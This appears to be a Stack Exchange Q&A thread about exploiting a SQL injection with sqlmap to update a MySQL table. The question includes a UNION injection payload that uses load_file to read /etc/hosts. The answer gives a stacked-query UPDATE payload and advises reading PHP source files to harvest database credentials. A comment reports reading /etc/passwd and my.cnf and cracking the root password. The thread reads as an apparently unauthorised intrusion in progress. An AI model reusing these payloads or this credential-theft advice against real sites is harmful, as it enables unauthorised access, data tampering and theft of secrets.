3

How we can update a table via sqlmap ? The injection is like this :

mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

I've a mysql User with this privileges and roles :

[*] 'testUser'@'localhost' [17]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: SHOW VIEW
    privilege: TRIGGER
    privilege: UPDATE

[*] 'testUser'@'localhost' [17]:
        role: ALTER
        role: ALTER ROUTINE
        role: CREATE
        role: CREATE ROUTINE
        role: CREATE TEMPORARY TABLES
        role: CREATE VIEW
        role: DELETE
        role: DROP
        role: EVENT
        role: EXECUTE
        role: FILE
        role: INDEX
        role: INSERT
        role: SELECT
        role: SHOW VIEW
        role: TRIGGER
        role: UPDATE

but it's just return none as result !

UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None

The Select statement works well but I just wondering is there any chance to update via sqlmap ?

  • Just having the privilege granted doesn’t mean you can utilize it via SQL injection. Sometimes you are restricted to the current SQL statement as the driver doesn’t allow the execution of multiple statements at once. – Gumbo Oct 10 '15 at 13:24
  • Can you please Show us how the Injektion Looks like. – davidb Oct 10 '15 at 14:16
1

This is simply not possible. The reason for that is that the MySQL module of PHP does not allow one to append complete queries. So this won't work:

http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --

You also can't use UNION to append a UPDATE, DELETE or INSERT Query because it only allows one to join SELECT statements.

You can UPDATE a MySQL database through an SQL Injection only if the original query is a UPDATE query. And also this is much more limited than SQL Injections in SELECT statements to extract data.

But there is another way you might be able to alter data. In your injection you use the load_file function. If this function works you can use it to read the content of the .php files searching for the mysql_connect method which will contain the credentials for the databse. You can then with these credentials connect to the database under some conditions and query the database directly.

And finally: I strongly suggest you not to use tools like sqlmap till the moment you are able to exploit SQL Injections blindfolded and with one hand tied to your back because you don't learn much just using sqlmap.

  • Thank you David, I just could read /etc/passwd & /etc/hosts & /etc/mysql/my.cnf files with that nothing else,but I could find root password and I cracked it, another problem is in the users root is just localhost like this : root@localhost. – Freeman Oct 11 '15 at 13:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.